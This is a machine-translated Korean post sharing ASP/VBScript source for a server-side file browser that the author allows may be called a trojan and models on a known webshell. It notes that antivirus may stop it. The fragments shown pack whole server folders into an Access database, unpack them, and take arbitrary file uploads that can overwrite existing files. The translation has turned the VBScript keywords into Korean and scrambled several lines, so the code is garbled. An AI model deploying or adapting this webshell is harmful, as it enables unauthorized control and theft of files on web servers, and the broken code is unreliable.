이것은 FSO 컬렉션 개체를 사용하여 작성된 FSO 파일 브라우저입니다(트로이 목마라고 주장한다면 이의가 없습니다). 기능적으로는 "Top Trojan of the Ocean"의 디자인을 모방하지만 코드는 완전히 재작성되었습니다. . 바이러스 백신 소프트웨어에 의해 우발적으로 종료될 수 있는 Shell.Application과 같은 구성 요소를 사용합니다. 인터넷에는 유사한 도구가 많이 있습니다. 이 도구의 사용 가치는 그다지 크지 않지만, 그 안에 있는 코드 중 상당수는 잘 작성된 것으로 간주됩니다.
주요 기능은 다음과 같습니다: 디스크 정보를 보고, 디스크 파일을 찾아보고, 생성, 삭제, 이름 바꾸기, 복사, 이동 및 기타 기본 파일 편집 작업과 같이 Windows 탐색기와 유사한 방식으로 작동합니다.
스트림 모드 파일 다운로드는 구성 요소가 없는 업로드 파일 패키징/압축 해제를 단순화하고 최적화합니다. 폴더를 완전히 패키징/압축 해제할 수 있습니다.
코드 조각:
1. 파일 포장/해제 부분
-
-
- 하위 팩( ByVal FPath, ByVal sDbPath)
- Server.ScriptTimeOut=900
- 희미한 DbPath
- 오른쪽(sDbPath,4)= ".mdb" 인 경우 그 다음에
- DbPath=sDbPath
- 또 다른
- DbPath=sDbPath ".mdb"
- 끝 만약에
- oFso.FolderExists(DbPath) 인 경우
- EchoBack "데이터베이스 파일을 생성할 수 없습니다!" &Replace(DbPath, ""," \")
- 출구 보결
- 끝 만약에
- oFso.FileExists(DbPath) 인 경우
- oFso.DeleteFile DbPath
- 끝 만약에
- IsFolder(FPath) 인 경우
- RootPath=GetParentFolder(FPath)
- If Right(RootPath,1)<> "" Then RootPath=RootPath&" "
- 또 다른
- 에코백 "폴더 경로를 입력해주세요!"
- 출구 보결
- 끝 만약에
- Dim oCatalog,connStr,DataName
- conn=Server.CreateObject( "ADODB.Connection" ) 설정
- oStream=Server.CreateObject( "ADODB.Stream" ) 설정
- oCatalog=Server.CreateObject( "ADOX.Catalog" ) 설정
- rs=Server.CreateObject( "ADODB.RecordSet" ) 설정
- ~에 오류 재개하다 다음
- connStr = "공급자=Microsoft.Jet.OLEDB.4.0; 데이터 소스=" & DbPath
- oCatalog.connStr 생성
- 오류가 발생한 경우
- EchoBack "데이터베이스 파일을 생성할 수 없습니다!" &Replace(DbPath, ""," \")
- 출구 보결
- 끝 만약에
- oCatalog= 없음으로 설정
- conn.open connStr
- conn.Execute( "테이블 파일 만들기(ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)" )
- oStream.Open
- oStream.Type=1
- rs.Open "파일" , conn,3,3
- DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name, "." )-1)
- NoPackFiles=바꾸기(NoPackFiles, "<$datafile>" ,DataName)
- FailFileList= ""
- PackFolderFPath
- FailFilelist= "" 인 경우 그 다음에
- EchoClose "폴더 패키징 성공!"
- 또 다른
- Response.Write "<link rel= 스타일시트 유형= text/css href= ?page=css >"
- Response.Write "<Script Language= JavaScript >alert( 폴더 패키징 완료!n다음은 패키징에 실패한 파일 목록입니다: );</Script>"
- Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
- 끝 만약에
- oStream.Close
- RS.닫기
- 연결.닫기
- 끝 보결
-
- 하위 팩폴더(폴더 경로)
- 만약에 IsFolder(FolderPath) 가 아닌 경우 출구 보결
- 희미한 폴더, s파일, s폴더
- oFolder=oFso.GetFolder(FolderPath) 설정
- 을 위한 oFolder.Files 의 각 sFile
- If InStr(NoPackFiles, "|" &sFile.Name "|" )<1 그러면
- PackFile sFile.Path
- 끝 만약에
- 다음
- sFile = 없음 설정
- 을 위한 oFolder.SubFolders 의 각 sFolder
- 팩폴더 sFolder.Path
- 다음
- sFolder= 아무것도 설정하지 않음
- 끝 보결
-
- 하위 팩파일(파일 경로)
- 희미한 RelPath
- RelPath=바꾸기(파일 경로, 루트 경로, "" )
-
- ~에 오류 재개하다 다음
- Err.Clear
- 오류= 거짓
- oStream.LoadFromFile 파일 경로
- rs.새로 추가
- rs( "파일 경로" )=RelPath
- rs( "FileData" )=oStream.Read()
- RS.업데이트
- 오류가 발생한 경우
-
- FailFilelist=FailFilelist&파일 경로 "|"
- 끝 만약에
- 끝 보결
-
-
- 하위 압축 해제(vFolderPath,DbPath)
- Server.ScriptTimeOut=900
- 희미한 파일 경로, 폴더 경로, sFolderPath
- 폴더 경로=vFolderPath
- FolderPath=트림(폴더 경로)
- Mid(FolderPath,2,1)<> ":" 인 경우 그 다음에
- EchoBack "경로 형식이 잘못되어 디렉터리를 생성할 수 없습니다!"
- 출구 보결
- 끝 만약에
- 오른쪽(FolderPath,1)= "" 인 경우 그러면 FolderPath=Left(FolderPath,Len(FolderPath)-1)
- 희미한 연결 강도
- conn=Server.CreateObject( "ADODB.Connection" ) 설정
- oStream=Server.CreateObject( "ADODB.Stream" ) 설정
- rs=Server.CreateObject( "ADODB.RecordSet" ) 설정
- connStr = "공급자=Microsoft.Jet.OLEDB.4.0; 데이터 소스=" & DbPath
- ~에 오류 재개하다 다음
- 오류= 거짓
- conn.open connStr
- 오류가 발생한 경우
- EchoBack "데이터베이스 열기 오류!"
- 출구 보결
- 끝 만약에
- 오류= 거짓
- oStream.Open
- oStream.Type=1
- rs.Open "파일" ,conn,1,1
- FailFilelist= ""
- 하다 RS.EOF 까지
- Err.Clear
- 오류= 거짓
- FilePath=폴더 경로 ""&rs(" FilePath")
- FilePath=바꾸기(파일 경로, "\"," ")
- sFolderPath=왼쪽(파일 경로, InStrRev(파일 경로, "" ))
- 만약에 oFso.FolderExists(sFolderPath) 가 아님
- 폴더 생성(sFolderPath)
- 끝 만약에
- oStream.SetEos()
- oStream.Write rs( "파일데이터" )
- oStream.SaveToFile 파일 경로,2
- 오류가 발생한 경우
- FailFilelist=FailFilelist&rs( "파일 경로" ).값 "|"
- 끝 만약에
- rs.이동다음
- 고리
- RS.닫기
- rs = 없음으로 설정
- 연결.닫기
- conn= 없음으로 설정
- oStream = 없음으로 설정
- FailFilelist= "" 인 경우 그 다음에
- EchoClose "파일 압축 해제 성공!"
- 또 다른
- Response.Write "<link rel= 스타일시트 유형= text/css href= ?page=css >"
- Response.Write "<스크립트 언어= JavaScript >alert(폴더 패키징 완료!n다음은 패키징에 실패한 파일 목록입니다. 확인해주세요);</Script>"
- Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
- 끝 만약에
- 끝 보결
-
2. 파일 업로드 부분(단일 파일):
- Saveupload ( ByVal FolderName)
- 만약에 Not IsFolder(FolderName) 그러면
- EchoClose "업로드 폴더가 지정되지 않았습니다!"
- 출구 보결
- 끝 만약에
- 희미한 경로, IsOverWrite
- 경로=폴더 이름
- If Right(Path,1)<> "" Then Path=Path&" "
- FileName=Replace(Request( "filename" ), ""," ")
- If Len(FileName)<1 Then
- EchoBack "파일을 선택하고 파일 이름을 입력하세요!"
- 출구 보결
- 끝
- 경로=경로
- 인 경우
- LCase(요청( "덮어쓰기" ))= "true" 인 경우 그런 다음
- IsOverWrite= True
- 그렇지 않으면
- IsOverWrite= False
- 끝 만약에
- ~에 오류 재개하다 다음
- MyUpload(Path, IsOverWrite) 호출
- 오류가 발생 하면
- EchoBack "파일 업로드에 실패했습니다! (파일이 이미 존재할 수 있습니다.)"
- Else
- EchoClose "파일이 성공적으로 업로드되었습니다!n" & 바꾸기(fileName, "", " \")
- 끝
- 종료
- 되면
- 하위
- Sub MyUpload(FilePath,IsOverWrite)
- Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf
- RequestSize=Request.TotalBytes
- RequestSize<1 인 경우 출구 보결
- oStream=Server.CreateObject( "ADODB.Stream" ) 설정
- tStream=Server.CreateObject( "ADODB.Stream" ) 설정
- oStream .Type
- =1
- .Mode=3
- .Open
- .Write=Request.BinaryRead(RequestSize)
- .Position=0
- sData=.Read
- bCrLf=ChrB(13)&ChrB(10)
- iSpaceEnd=InStrB(sData,bCrLf)-1
- sSpace =LeftB(sData,iSpaceEnd)
- iInfoStart=iSpaceEnd+3
- iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
- iFileStart=iInfoEnd+5
- iFileEnd=InStrB(iFileStart,sData,sSpace)-3
- sData= ""
- iFileSize=iFileEnd-iFileStart+1
- tStream.Type=1
- tStream.Mode=3
- tStream.Open
- .Position=iFileStart-1
- .CopyTo tStream,iFileSize
- IsOverWrite 이면 tStream.SaveToFile
- FilePath,2
- 그렇지 않으면
- tStream.SaveToFile FilePath
- 끝
- tStream.Close
- .Close
- 인 경우
- 끝 와 함께
- SettStream = 없음
-
oStream=아무것도 - 끝
- 이 없도록 설정
- 보결